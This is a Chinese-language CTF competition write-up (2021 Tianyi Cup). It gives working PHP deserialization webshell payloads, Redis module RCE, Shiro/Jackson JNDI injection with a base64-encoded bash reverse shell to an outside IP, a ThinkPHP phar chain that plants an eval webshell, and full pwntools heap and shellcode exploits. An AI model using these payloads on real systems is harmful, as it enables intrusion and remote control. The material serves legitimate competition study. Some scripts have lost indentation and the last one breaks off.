2021第二屆“天翼杯”網絡安全攻防大賽writeup


Web

1.esay_eval

<?php   
class A{   
    public $code = "";   
    function __call($method,$args){   
        eval($this->code);   
           
    }   
    function __wakeup(){   
        $this->code = "";   
    }   
}   
  
class B{   
    function __destruct(){   
        echo $this->a->a();   
    }   
}   
if(isset($_REQUEST['poc'])){   
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);   
    if (isset($ret[1])) {   
        foreach ($ret[1] as $i) {   
            if(intval($i)!==1){   
                exit("you want to bypass wakeup ? no !");   
            }   
        }   
        unserialize($_REQUEST['poc']);       
    }   
  
  
}else{   
    highlight_file(__FILE__);   
}


簡單分析一下主要繞過那個__wakeup函數就可以rce了

關於preg_match_all這個函數看這篇文章php preg_match_all()函數介紹與用法 - 飛鳥慕魚博客 (feiniaomy.com)

最后要讓$ret[1]里面的兩個變量都等於1,因為他后面還有個intval($i)!==1的限制,(這個用大小寫繞過就行了,因為php的變量名區分大小寫,函數名、方法名、類名不區分大小寫。)因為必須要繞過wakeup,所以用小寫不讓preg_match_all兩個都匹配,放出來一個去繞過wakeup就可以了。

構造payload

<?php

class A{

    public $code = "";

    public function  __construct(){

        $this->code = "eval(\$_POST[1]);";

    }

}

 

class B{

    public function  __construct(){

        $this->a = new A();

    }

}

echo serialize(new B());

$前面加\是怕序列化的時候執行了變成這樣

得到O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:19:"eval($_REQUEST[1]);";}},把A改為小寫,即可修改后面數字來繞過
即O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:19:"eval($_REQUEST[1]);";}},連接蟻劍拿到shell

代碼審計,直接反序列化構造一句話木馬

小寫對象a繞過

payload
?poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[0]);";}}

蟻劍連接發現有disable_function,試了下蟻劍自帶的bypass無果,然后在網站根目錄發現了 有 config.php.swp vi-r 解一下發現 redis 密碼

 github 上有 redis rce 的惡意 so 文件上傳到 tmp 目錄下然后用蟻劍 redis 插件加載惡意模塊rce


Redis加載惡意so獲取shell

蟻劍找到了一個config,恢復一下


下載下來丟到linux用vi恢復

vi -r config.php

這個redis密碼看着太像假的了,但就是真的,用蟻劍的redis插件連接

接着就是打redis,在phpinfo發現有open_basedir,有個tmp還能用,那就把惡意so傳上去

https://github.com/Dliv3/redis-rogue-server

直接用蟻劍

使用redis插件連接redis

127.0.0.1:6379> module load /tmp/exppadding.so

OK

127.0.0.1:6379> system.exec "id"

"uid=0(root) gid=0(root) groups=0(root)\n

附上本地環境“:
FROM ubuntu:16.04

COPY src/sources.list /etc/apt/sources.list
COPY src/redis-4.0.9 /home/redis-4.0.9

RUN apt-get update && \
    apt-get install -y curl \
            software-properties-common \
            python3-software-properties \
            python-software-properties \
            unzip \
            vim

RUN apt-get install -y apache2
RUN service apache2 restart

RUN locale -a
RUN export LANG=C.UTF-8 && \
    add-apt-repository ppa:ondrej/php && \
    apt-get update

RUN apt-get install -y libapache2-mod-php7.0 \
                        libzend-framework-php \
                        php7.0-cli \
                        php7.0 \
                        php7.0-bcmath \
                        php7.0-bz2 \
                        php7.0-cgi \
                        php7.0-common \
                        php7.0-fpm \
                        php7.0-gmp \
                        php-http \
                        php-imagick \
                        php7.0-intl \
                        php7.0-json \
                        php7.0-mbstring \
                        php-memcache \
                        php-memcached \
                        php7.0-mysql \
                        php7.0-recode \
                        php7.0-gd \
                        php7.0-mcrypt \
                        php7.0-xml \
                        php7.0-pdo \
                        php7.0-opcache \
                        php7.0-curl \
                        php7.0-zip

RUN apt install -y gcc \
           make

RUN cd /home/redis-4.0.9 &&\
    cp -r /home/redis-4.0.9 /usr/local/redis &&\
    cd /usr/local/redis    &&\
    make && make PREFIX=/usr/local/redis install &&\
    export REDIS_HOME=/usr/local/redis &&\
    export PATH=$PATH:$REDIS_HOME/bin


COPY src /tmp/src
RUN mv /tmp/src/web.ini /etc/php/7.0/apache2/conf.d/php.ini &&\
    rm -rf /var/www/html &&\
    mv /tmp/src/html /var/www/html &&\
    mv /tmp/src/start.sh /start.sh &&\
    chmod +x /start.sh

EXPOSE 80

CMD ["/start.sh"]

其中web.ini就是php的配置文件,可以在里面設置disable_function等

2.jackson

原題不說了嗷

https://www.redmango.top/article/61#javaweb

先看題目給的pom.xml

有shiro1.5.1,cc3.2.1題目名字叫jackson

那么應該就是shiro驗證繞過訪問路由通過jackson反序列化打cc鏈

發現有json路由需要登陸通過/;/json繞過

那么就直接上工具:https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A "47.100.27.114" -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDAuMjcuMTE0LzgwODggMD4mMQ==}|{base64,-d}|{bash,-i}'
或者

看到pom.xml里面的框架版本可以想到CVE-2020-1957

2021第二屆“天翼杯”網絡安全攻防大賽 Writeup by X1cT34m-小綠草信息安全實驗室

jackson反序列化 + JNDI注入 + LDAP返回序列化數據觸發本地Gadget Bypass jdk 8u_191限制4

POST /;/json HTTP/1.1
Host: 8.134.37.86:20947
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 97
["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"ldap://106.15.250.209:8091/a
bc"}]

Nc得到了反彈,直接獲取根目錄的flag即可



3.ezTP

通過robots.txt 得到www.zip 源代碼:


目錄結構:

很明顯的TP框架 查看版本得到:5.0.10

一開始嘗試TP框架的RCE,無果。遂放棄

然后查看Controller有一個index和admin:

Admin控制器:


Index控制器:

看起來 好像沒什么問題。

但是可以看到,必須要登錄admin才可以進行admin控制器里面的上傳和列目錄操作

故肯定是要注入,百度搜索到了

該版本的TP框架注入:https://www.cnblogs.com/wangtanzhi/p/12734685.html

注入登錄admin賬戶:

然后查看admin控制器的listdir 可以發現is_dir函數是可以觸發phar反序列化的。

參考:https://www.anquanke.com/post/id/251318#h2-1

但是會發現使用如上鏈接的poc,與網上的poc均不可用。

本地搭建環境調試了一下,發現:

Process.php的close方法:

與原來的tp框架不一樣,多增加了一個if來過濾,因為原本的 HasMany 類並沒有close方法,導致沒辦法調用$this->processPipes->close()方法,就無法進行下面的反序列化寫文件RCE了,所以網上的POC就會沒用。

現在需要做的是需要一個close方法的類,並且內部需要調用成員變量的close方法。

這樣就可以繞過過濾,並且可以繼續反序列化。

在這里我找到了Memcache類,

只要將原來的鏈子 接入到$this->handler 變量里面去,就可以繼續下去反序列化了。

但是通過調試:

這個path路徑,寫下去找不到文件。所以我改成了絕對路徑,寫到public目錄下

反序列化POC:

<?php
namespace think;
use think\session\driver\Memcache;
class Process
{
    private $processPipes;

    private $status;

    private $processInformation;
    public function  __construct(){
        $this->processInformation['running']=true;
        $this->status=3;
        $this->processPipes=(new Memcache(1));
    }

}
 namespace think;
 class Model{

 }
 namespace think\model;

 use think\Model;
 class Merge extends Model{
     public $a='1';
     public function __construct()
{
     }
 }
 
namespace think\model\relation;
use think\console\Output;
use think\db\Query;
use think\model\Merge;
use think\model\Relation;
class HasMany extends Relation
{
    //protected $baseQuery=true;
    protected $parent;
    protected $localKey='a';
    protected $foreignKey='a';
    protected $pivot;
    public function __construct(){
        $this->query=new Output();
        $this->parent= new Merge();

    }
}

namespace think\model;
class Relation
{}
namespace think\db;
class Query{}


namespace think\console;
class Output{
    protected $styles = [
        'info',
        'error',
        'comment',
        'question',
        'highlight',
        'warning',
        'getTable',
        'where'
    ];
    private $handle;
    public function __construct()
{
        $this->handle = (new \think\session\driver\Memcache(0));
    }
}
namespace think\session\driver;
class Memcache
{
    protected $handler;
    public function __construct($i)
{
        
    if($i==0){
      $this->handler = (new \think\cache\driver\Memcached(0));
      
    }else{
      $this->handler = (new \think\model\relation\HasMany);
    }
    }
}


namespace think\cache\driver;

class Memcached
{
    protected $tag;
    protected $options;
    protected $handler;

    public function __construct($i)
{
        if($i==0){
      $this->tag = true;
        $this->options = [
            'expire'   => 0,
            'prefix'   => 'PD9waHAgZXZhbCgkX1BPU1RbJ3pjeTIwMTgnXSk7ID8+',
        ];
        $this->handler = (new File);
    }
    }
}

class File
{
    protected $tag;
    protected $options;
    public function __construct()
{
        $this->tag = false;
        $this->options = [
            'expire'        => 3600,
            'cache_subdir'  => false,
            'prefix'        => '',
            'data_compress' => false,
            'path'          => 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/',
        ];
    }
}

$o = new \think\Process();

$phar = new \Phar("test.phar"); //后綴名必須為phar
$phar->startBuffering();
$phar->setStub("GIF89A <?php __HALT_COMPILER(); ?>"); //設置stubb
$phar->setMetadata($o); //將自定義的meta-data存入manifest里
$phar->addFromString("test.txt", "test"); // 添加要壓縮的文件
$phar->stopBuffering(); // 簽名自動計算

需要添加GIF89A 頭來繞過檢測圖片格式。

保存jpg上傳頭像,然后:

http://8.134.37.86:24954/public/?

s=admin/index/listpic&dir=phar:///var/www/html/public/static/img/person.jpg

最后訪問shell 拿flag:





PWN

1.chaos

首先是一個輸入,輸入完之后邏輯比較長,我們一點一點分析。
首先是一個大的while循環。
while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) )
  {
    if ( v8 <= 5 )
      *((_QWORD *)&unk_202060 + 2 * v8) = a1;
    sb = strchr(a1, 58);
    if ( !sb )
    {
      puts("error.");
      exit(1);
    }
    *sb = 0;
    for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc )
      *sc = 0;
    if ( !*sc )
    {
      puts("abort.");
      exit(2);
    }
    if ( v8 <= 5 )
      qword_202068[2 * v8] = sc;
    sd = strchr(sc, 10);
    if ( !sd )
    {
      puts("error.");
      exit(3);
    }
    *sd = 0;
    a1 = sd + 1;
    if ( *a1 == 13 )
      *a1++ = 0;
    s1 = (char *)*((_QWORD *)&unk_202060 + 2 * v8);
    nptr = (char *)qword_202068[2 * v8];
    if ( !strcasecmp(s1, "opcode") )
    {
      if ( v7 )
      {
        puts("error.");
        exit(5);
      }
      v7 = atoi(nptr);
    }
    else
    {
      if ( strcasecmp(s1, "passwd") )
      {
        puts("error.");
        exit(4);
      }
      if ( strlen(nptr) <= 1 )
      {
        puts("error.");
        exit(5);
      }
      v9 = strlen(nptr) - 1;
      if ( dest )
      {
        puts("error.");
        exit(5);
      }
      dest = calloc(v9 + 8, 1uLL);
      if ( v9 <= 0 )
      {
        puts("error.");
        exit(5);
      }
      memcpy(dest, nptr, v9);
    }
    ++v8;
  }
說白了就是對我們的輸入進行要求,要求
opcode:1就是功能1,然后功能里面有密碼,需要用passwd來
用功能1舉例,完整的一個create輸入是
“opcode:1\npasswd:Cr4at3a\n”
那我們再來看功能
create
需要一個大小,最大0x208,創建的chunk是0x210,最后兩個QWORD分別是大小跟一個指針。
這個指針會把我們所有的chunk串起來,構成一個單鏈表的狀態,鏈表頭放在bss
有漏洞,在哪?
在我們寫的時候居然可以把size覆蓋掉,第一次覆蓋掉,第二次就可以溢出。
edit

show

delete

剩下三個函數就平平無奇。
我們就利用那個溢出,首先泄露libc,之后直接攻擊tcache打free_hook就好啦

Vulnerability:

00000000 node            struc ; (sizeof=0x211, mappedto_8)
00000000 field_0 db 512 dup(?)
00000200 size dd ?
00000204 field_204 dd ?
00000208 next dq ? ; offset
00000210 field_210 db ?
00000211 node ends

As above, it set the size to 0x208 over the length of buf. So it follows that we can result in heap overflow.

void __fastcall add(const char *a1)
{
int size; // [rsp+14h] [rbp-2Ch]
node *buf; // [rsp+18h] [rbp-28h]
node *tmp_link; // [rsp+20h] [rbp-20h]
char s[12]; // [rsp+2Ch] [rbp-14h] BYREF
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( strcmp(a1, "Cr4at3") )
{
puts("error.");
exit(5);
}
printf(">>> ");
memset(s, 0, sizeof(s));
read(0, s, 0xBuLL);
size = atoi(s);
if ( size <= 0 || size > 0x208 )
{
puts("error.");
exit(5);
}
buf = (node *)malloc(0x210uLL);
buf->next = 0LL;
tmp_link = node_link;
node_link = buf;
buf->next = tmp_link;
buf->size = size;
printf(">>> ");
read(0, buf, (unsigned int)buf->size);
}

Exploit:

1.leak2.hijack hook3.get shell

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

context.arch = 'amd64'
# context.log_level = 'debug'
# sh = process('./chaos')
sh = remote('8.134.97.12', 25036)


def add(content):
sh.sendlineafter(b'>>> ', b'opcode:1\npasswd:Cr4at3 \n')

sh.sendafter(b'>>> ', b'520')
sh.sendafter(b'>>> ', content)

def show(offset):
sh.sendlineafter(b'>>> ', b'opcode:2\npasswd:SH0w \n')
sh.sendafter(b'>>> ', str(offset).encode())

def edit(offset, content):
sh.sendlineafter(b'>>> ', b'opcode:3\npasswd:Ed1t \n')
sh.sendafter(b'>>> ', str(offset).encode())
sh.sendafter(b'>>> ', content)

def delete(offset):
sh.sendlineafter(b'>>> ', b'opcode:4\npasswd:D3l4te \n')
sh.sendafter(b'>>> ', str(offset).encode())

for i in range(9):
add(b'a')
for i in range(9):
delete(0)
for i in range(7):
add(b' ')

add(b'b' * 8)
show(0)
sh.recvuntil(b'bbbbbbbb')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x3ebeb0
success('libc_addr: ' + hex(libc_addr))

for i in range(8):
delete(0)
add(b' ')
add(b' ')
delete(0)

edit(0, b'\0' * 0x200 + p32(0x1000))
edit(0, b'\0' * 0x200 + p64(0x1000) + b'\0' * 0x38 + p64(libc_addr + 0x3ed8e8 - 8))
add(b' ')
add(b'/bin/sh\0' + p64(libc_addr + 0x4f550))
delete(0)

sh.interactive()

# flag{Arb1Tr4ry_Re4d_Wr1t3_1n_L1nkl1st}
# flag{c6MsFlPDHqkb0mAr2oeTV4UuCLNB7KOv}

2.ezshell

邏輯簡單,開了一個可以rwx的頁,我們輸入一段shellcode,繞過一些檢查,開了沙箱,最后執行它。
一點一點來,首先我們輸入shellcode之后函數__ctype_b_loc函數是干嘛的?
我們去讀源碼,在ctype/ctype.h
#ifndef _ISbit
/* These are all the characteristics of characters.
   If there get to be more than 16 distinct characteristics,
   many things must be changed that use `unsigned short int's.

   The characteristics are stored always in network byte order (big
   endian).  We define the bit value interpretations here dependent on the
   machine's byte order.  */

# include <bits/endian.h>
# if __BYTE_ORDER == __BIG_ENDIAN
#  define _ISbit(bit)    (1 << (bit))
# else /* __BYTE_ORDER == __LITTLE_ENDIAN */
#  define _ISbit(bit)    ((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))
# endif

enum
{
  _ISupper = _ISbit (0),    /* UPPERCASE.  */
  _ISlower = _ISbit (1),    /* lowercase.  */
  _ISalpha = _ISbit (2),    /* Alphabetic.  */
  _ISdigit = _ISbit (3),    /* Numeric.  */
  _ISxdigit = _ISbit (4),    /* Hexadecimal numeric.  */
  _ISspace = _ISbit (5),    /* Whitespace.  */
  _ISprint = _ISbit (6),    /* Printing.  */
  _ISgraph = _ISbit (7),    /* Graphical.  */
  _ISblank = _ISbit (8),    /* Blank (usually SPC and TAB).  */
  _IScntrl = _ISbit (9),    /* Control character.  */
  _ISpunct = _ISbit (10),    /* Punctuation.  */
  _ISalnum = _ISbit (11)    /* Alphanumeric.  */
};
#endif /* ! _ISbit  */
意思就是將我們輸入的字符,根據
((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))
進行處理,然后根據下面對應的進行返回。
我們稍加分析之后會得到一個表。
所以要求我們&0x4000不等於0的意思就是要求的是可見字符,這個簡單,我們最后的shellcode用ae64處理一下就可以了。
繼續往下讀,會有兩個prctl。
第一個我們經常見,很熟悉,就是把execve給ban掉而已。
第二個很有意思,它會不讓我們dump信息以及不給我們調試。
就是我們gdb調試調到那一步會直接崩掉
seccomp-tools dump ./binary也會崩掉。
雖然說我們可以用進入root權限避免這個事情,但是在我們用gdb.attach去進行調試的時候還是會有很多問題,我們無法在root權限下調試。
所以我們在這里考慮直接將程序的那一句給patch掉。
非常牛,省的它麻煩我們。
然后就可以正常看看沙箱干了點啥。
沙箱顯示呢我們的系統調用只有兩個,open跟read,而且read有條件,fd必須大於等於4.
我們分開解決,首先解決沒有write的問題。
在藍帽杯決賽的silent跟強網杯的shellcode中都有過這個問題,我們就是簡單的利用側信道攻擊,說白了就是通過爆破,當我們把flag讀出來之后,我們一個字符一個字符去進行爆破比較,如果命中,就跳進死循環,如果跳進死循環,檢測出來,就證明我們命中,從而進行爆破。
但是這有引出一個問題,我們命中的話就跳進死循環,那沒命中呢?
如果直接不管,那個它也會卡住,會被程序認為命中,如果我們調用exit,但是沙箱不允許我們那樣做,怎么處理這個問題?
我們只要利用沙箱並不讓我做這個事情解決,我們就來一個不讓做的系統調用,他會報錯,Bad system call。
然后結束程序,那么我們的要求就達到了。
還有一個問題,就是read函數fd的問題,這個就好解決了,我們只要把flag文件多開幾次就好啦。

Run shellcode

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

context.arch = 'amd64'
context.log_level = 'error'
# sh = process('./ezshell')
sh = remote('8.134.37.86', 28310)

shellcode = asm('''
xor eax,eax
push rax
mov rax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor esi, esi
xor eax, eax
mov al, 2
syscall

xor eax,eax
push rax
mov rax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor esi, esi
xor eax, eax
mov al, 2
syscall

xor eax,eax
push rax
mov rax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor esi, esi
xor eax, eax
mov al, 2
syscall

xor eax,eax
push rax
mov rax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor esi, esi
xor eax, eax
mov al, 2
syscall

xor eax,eax
push rax
mov rax, 0x67616c66 ;// flag
push rax
mov rdi, rsp
xor esi, esi
xor eax, eax
mov al, 2
syscall

loop1:
test rax, rax
js loop1

mov edi, eax
xor eax, eax
mov rsi, rsp
mov edx, 0x01010101
syscall

xor eax, eax
xor ebx, ebx
mov al, %d
mov bl, [rsp+rax]
sub bl, %d
loop2:
test rbx, rbx
jz loop2
int3
''' % (int(sys.argv[1]), int(sys.argv[2])))
open('./shellcode', 'wb').write(shellcode)


encode_shellcode = os.popen('cd alpha3; python2 ALPHA3.py x64 ascii mixedcase rdx --input=../shellcode ;')

sh.sendafter(b'shellcode?\n', encode_shellcode.read())

now = time.time()
sh.recvrepeat(5)
diff = time.time() - now
if(diff > 4):
print('yes')
# flag{Orpwn2jARhxISTsEvzuY1lVZa8WCXkb5}
或者
from pwn import *
from ae64 import AE64

# p = remote("8.140.177.7", 40334)
context(os="linux", arch="amd64")
#context.log_level = "debug"
context.terminal= ['tmux','splitw','-h']
map_addr = 0x10000
flag_addr = 0x10100


def exp(offset, ch):
    code = asm(
        """
        push 0x67616c66
        mov rdi, rsp
        xor edx, edx
        xor esi, esi
        push SYS_open
        pop rax
        syscall
        push SYS_open
        pop rax
        syscall
        push SYS_open
        pop rax
        syscall
        push SYS_open
        pop rax
        syscall
        xor eax, eax
        push 6
        pop rdi
        push 0x50
        pop rdx
        mov rsi, 0x10100
        syscall
        mov dl, byte ptr [rsi+{}]
        mov cl, {}
        cmp cl, dl
        jz loop
        mov al,231
        syscall   
        loop:
        jmp loop
        """.format(offset, ch)
    )
    obj = AE64()
    sc = obj.encode(code,'rdx')
    print sc
    p.recvuntil("Are you a master of shellcode?\n")
    p.send(sc)

flag = ""
for i in range(len(flag),50):
    sleep(1)
    log.success("flag : {}".format(flag))
    for j in range(0x100):
        p = process('./chall')
        try:
            exp(i,j)
            p.recvline(timeout=1)
            flag += chr(j)
            p.send('\n')
            log.success("{} pos : {} success".format(i,chr(j)))
            log.success(flag)
            p.close()
            break
        except:
            p.close()


3.overheap

Vulnerability:

Just off-by-null, as we can be seen from the challenge hint.

Exploit:

1.leak libc and heap address information2.chunk overlap3.hijack stdout to leak stack address information4.hijack stack5.ROP and run shellcode

The remote server can't fork process to be not able to execute the function system().

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

context.arch = 'amd64']
# context.log_level = 'debug'
# sh = process('./overheap')
sh = remote('8.134.51.71', 22213)
def add(size):
sh.sendlineafter(b'>> ', b'1')
sh.sendlineafter(b'Size:', str(size).encode())

def show(index):
sh.sendlineafter(b'>> ', b'2')
sh.sendlineafter(b'id:', str(index).encode())

def edit(index, content, raw=False):
sh.sendlineafter(b'>> ', b'3')
sh.sendlineafter(b'id:', str(index).encode())
if(raw):
sh.sendafter(b'Content:', content)
else:
sh.sendlineafter(b'Content:', content)

def delete(index):
sh.sendlineafter(b'>> ', b'4')
sh.sendlineafter(b'id:', str(index).encode())

add(0x18)
add(0x500)
add(0x18)
add(0x510)
add(0x18)
delete(1)
delete(3)
add(0x600)
add(0x500)
show(3)

result = u64(sh.recvn(8))
libc_addr = result - 0x2190f0
success('libc_addr: ' + hex(libc_addr))
heap_addr = u64(sh.recvn(8)) - 0x7e0
success('heap_addr: ' + hex(heap_addr))
add(0x510)

add(0xf8)
add(0x590)
edit(7, b'\0' * 0x4f0 + p64(0x21) * 14)
edit(6, p64(0) + p64(0xf1) + p64(heap_addr + 0x1340) + p64(heap_addr + 0x1340) + b'\0' * 0xd0 + p64(0xf0), 1)
delete(7)
add(0x68)
add(0x68)
delete(8)
delete(7)

stdout = libc_addr + 0x219760

environ = libc_addr + 0x220ec0

next_key = ((heap_addr + 0x1000) >> 0xc) ^ (stdout)
edit(6, b'\0' * 0x8 + p64(0x71) + p64(next_key))
add(0x68)
add(0x68)
add(0x68)
edit(8, p64(0xfbad2887|0x1000) + p64(0) * 3 + p64(environ) + p64(environ+8) * 2)

stack_addr = u64(sh.recvn(8))
success('stack_addr: ' + hex(stack_addr))

delete(9)
delete(7)

offset = +0
next_key = ((heap_addr + 0x1000) >> 0xc) ^ ((stack_addr-0x180 + offset)&(~0xf))
edit(6, b'\0' * 0x8 + p64(0x71) + p64(next_key))
add(0x68)
add(0x68)

layout = [
libc_addr + 0x000000000002e6c5, #: pop rdi; ret;
stack_addr & ~(0xfff),
libc_addr + 0x0000000000030081, #: pop rsi; ret;
0x2000,
libc_addr + 0x00000000001221f1, #: pop rdx; pop r12; ret;
7,0,
libc_addr + 0x0000000000049f00, #: pop rax; ret;
3,
libc_addr + 0x000000000008139b, #: add eax, edx; ret;
libc_addr + 0x0000000000095186, #: syscall; ret;
stack_addr-0xc0,
]

shellcode = asm('''
;// mov rax, 0x7478742e67616c66 ;// flag.txt
;// mov rax, 0x67616c662f ;// /flag
mov rax, 0x67616c66 ;// flag
push 0
push rax
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js fail

mov edi, eax
mov rsi, rsp
add rsi, 0x200
push rsi
mov edx, 100
xor eax, eax
syscall ;// read

mov edx, eax
mov eax, 1
pop rsi
mov edi, eax
syscall ;// write

jmp exit

fail:
mov rax, 0x727265206e65706f ;// open error!
mov [rsp], rax
mov eax, 0x0921726f
add eax, 0x01000000
mov [rsp+8], rax
mov rsi, rsp
mov edi, 1
mov edx, 12
mov eax, edi
syscall ;// write


exit:
xor edi, edi
mov eax, 231
syscall
''')

edit(9, p32(0) + p32(0x1f8) + p8((stack_addr-0x150 + offset) & 0xff) + b'a' * 0x7 +
p64(libc_addr + 0x000000000002c7a9) + p64(libc_addr + 0x000000000002e6c5) + p64(libc_addr + 0x1dbc3a) + p64(libc_addr + 0x644b0) + flat(layout) + shellcode)

sh.interactive()
# flag{icOpmxhuFMAjgbQkKb7dgSjUrlx0KfNk}



Crypto

1.TryHash

本題密碼算法的設計漏洞其實在於其輪函數f的設計。具體來說其輪函數具有較差的差分性質。

def g(self,v1,v2,x):  

    value = (v1+v2+x)%256  

    value = ((value<<3) | (value>>5)) &0xff  

    return value  

  

def f(self,value):  

    v1,v2 = unpack('>2B',pack('>H',value))  

    v2 = self.g(v1,v2,1)  

    v1 = self.g(v1,v2,0)  

    value = unpack('>H',pack('>2B',v1,v2))  

    return value[0]  

具體來說,通過數學推導,我們可以發現,對於f來說,當其兩個輸入的差分為0x8080時,其輸出差分100%是0x400。根據這一差分性質,我們可以對該加密算法進行差分分析攻擊。差分分析的具體原理可以參考這個blog http://www.theamazingking.com/crypto-feal.php

我們以對最后一輪加密(即第3輪)進行攻擊為例,介紹攻擊的流程。

我們構造兩個特殊的輸入 (L0,R0)和 (L0’,R0’)其中 L0 = L0‘, R0 = R0’^0x8080,讓服務器加密,得到加密結果 (L3,R3),(L3’,R3’).通過對該加密算法的推導,我們可以得到關於第3輪輪函數f的運算關系。

f(round3_key^L0)  = out1   

   f(round3_key^L0') = out2  

   out1^out2 = R0^L0^R0'^L0'^0x400  

其中,只有round3_key是未知的,其他參數都是已知的。round3_key的大小為2個字節,完全可以通過爆破來得到正確的解。這樣我們就把對於整個key的求解,拆分到對於輪密鑰的求解,爆破復雜度從 2^64降低到了 2^16

需要注意的是對於一組明密文對,可能有多個符合關系的解,我們可以同時對多組明密文對進行求解,來過濾掉錯誤的解。

依次類推,可以用相似的方法得到第1,2,3輪的輪密鑰。有了這三輪的輪密鑰后,可以通過逆運算很塊的求解出第0輪的密鑰,最終恢復出整個密鑰。

完整解題腳本

from pwn import *
from gmpy2 import *
from hashlib import sha256
from ctypes import *
from Crypto.Util.number import *

def encrypt(text,key):
text=[text[i:i+16:] for i in range(0,len(text),16)]
delta=0x9e3779b9
s=c_uint32(0)
ct=[]
for t in text:
t0=c_uint32(int(t[0:8],16))
t1=c_uint32(int(t[8:16],16))
for i in range(32):
s.value=(s.value+delta)
t0.value+=(((t1.value<<4))+key[0])^(t1.value+s.value)^(((t1.value>>5))+key[1])
t1.value+=(((t0.value<<4))+key[2])^(t0.value+s.value)^(((t0.value>>5))+key[3])
ct.append(hex((t0.value<<32)|t1.value))
return ct

def decrypt(ctext,key):
ctext=[ctext[i:i+16:] for i in range(0,len(ctext),16)]
s=c_uint32(0)
delta=0x9e3779b9
s.value=delta<<5
mt=[]
for t in ctext:
t0=c_uint32(int(t[0:8],16))
t1=c_uint32(int(t[8:16],16))
for i in range(32):
t1.value-=(((t0.value<<4))+key[2])^(t0.value+s.value)^(((t0.value>>5))+key[3])
t0.value-=(((t1.value<<4))+key[0])^(t1.value+s.value)^(((t1.value>>5))+key[1])
s.value-=delta
m=((t0.value<<32)|t1.value)
mt.append(hex(m))
return mt

s = remote("8.134.37.86",21146)
s.recvuntil("XXX+")
a = s.recvuntil(")")
la = a[:-1]
s.recvuntil("==")
a = s.recvuntil("\n")
a = a[1:-1]
print(la,a)
strs='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
def get():
for i in range(64):
for j in range(64):
for k in range(64):
for l in range(64):
t = strs[i]+strs[j]+strs[k]+strs[l]
m = t + la.decode()
p = sha256()
p.update(m.encode("UTF-8"))
d = p.hexdigest()
if a.decode() in d:
return t
ans = get()
print(ans)
s.sendline(ans)

s.recvuntil(b"ce:")
s.sendline(b"0")
s.recvuntil("for you")
s.sendline(b"Iamthesuperadmim")

strs=s.recvline()
c = bytes_to_long(strs[:-1])
c = hex(c)[2:]
c += (8-(((len(c)-1)%8)+1))*'0'

key = hex(bytes_to_long(b"Iamthesuperadmim"))[2:]
key=[int(key[i:i+8],16) for i in range(0,len(key),8)]
m=decrypt(c,key)
print(m[-1])

c = m.pop()[2:]
c += (8-(((len(c)-1)%8)+1))*'0'
key = hex(bytes_to_long(b"Iamthesuperadmin"))[2:]
key=[int(key[i:i+8],16) for i in range(0,len(key),8)]

m=encrypt(c,key)
m = m.pop()
print(m)

s.recvuntil(b"ce:")
s.sendline(b"1")
s.recvuntil(b"?")
s.sendline(long_to_bytes(eval(m)))
print(s.recvline())
或者
from ctypes import c_uint32 as uint32
delta = 0x9E3779B9
sm, delta = uint32(0), uint32(delta)
for i in range(32):
    sm.value += delta.value
print(hex(sm.value))
#0xc6ef3720

from pwn import *
from ctypes import *
from hashlib import sha256
from ctypes import c_uint32 as uint32
from struct import pack, unpack
def Pow(end, sha):
    table = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz"
    for a in table:
        for b in table:
            for c in table:
                for d in table:
                    s = (a + b + c + d).encode() + end.encode()
                    if sha256(s).hexdigest() == sha:
                        return a + b + c + d

def myhash(msg, identification):
    delta = 0x9E3779B9
    v0, v1 = map(uint32, unpack('>2I', msg))
    k0, k1, k2, k3 = map(uint32, unpack('>4I', identification))
    sm, delta = uint32(0), uint32(delta)
    for i in range(32):
        sm.value += delta.value
        v0.value += ((v1.value << 4) + k0.value) ^ (v1.value + sm.value) ^ ((v1.value >> 5) + k1.value)
        v1.value += ((v0.value << 4) + k2.value) ^ (v0.value + sm.value) ^ ((v0.value >> 5) + k3.value)
    return pack('>2I', v0.value, v1.value)

def decrypt(msg, identification):
    delta = c_int32(0xc6ef3720)
    v0, v1 = map(uint32, unpack('>2I', msg))
    k0, k1, k2, k3 = map(uint32, unpack('>4I', identification))
    for i in range(32):
        v1.value -= ((v0.value << 4) + k2.value) ^ (v0.value + delta.value) ^ ((v0.value >> 5) + k3.value)
        v0.value -= ((v1.value << 4) + k0.value) ^ (v1.value + delta.value) ^ ((v1.value >> 5) + k1.value)
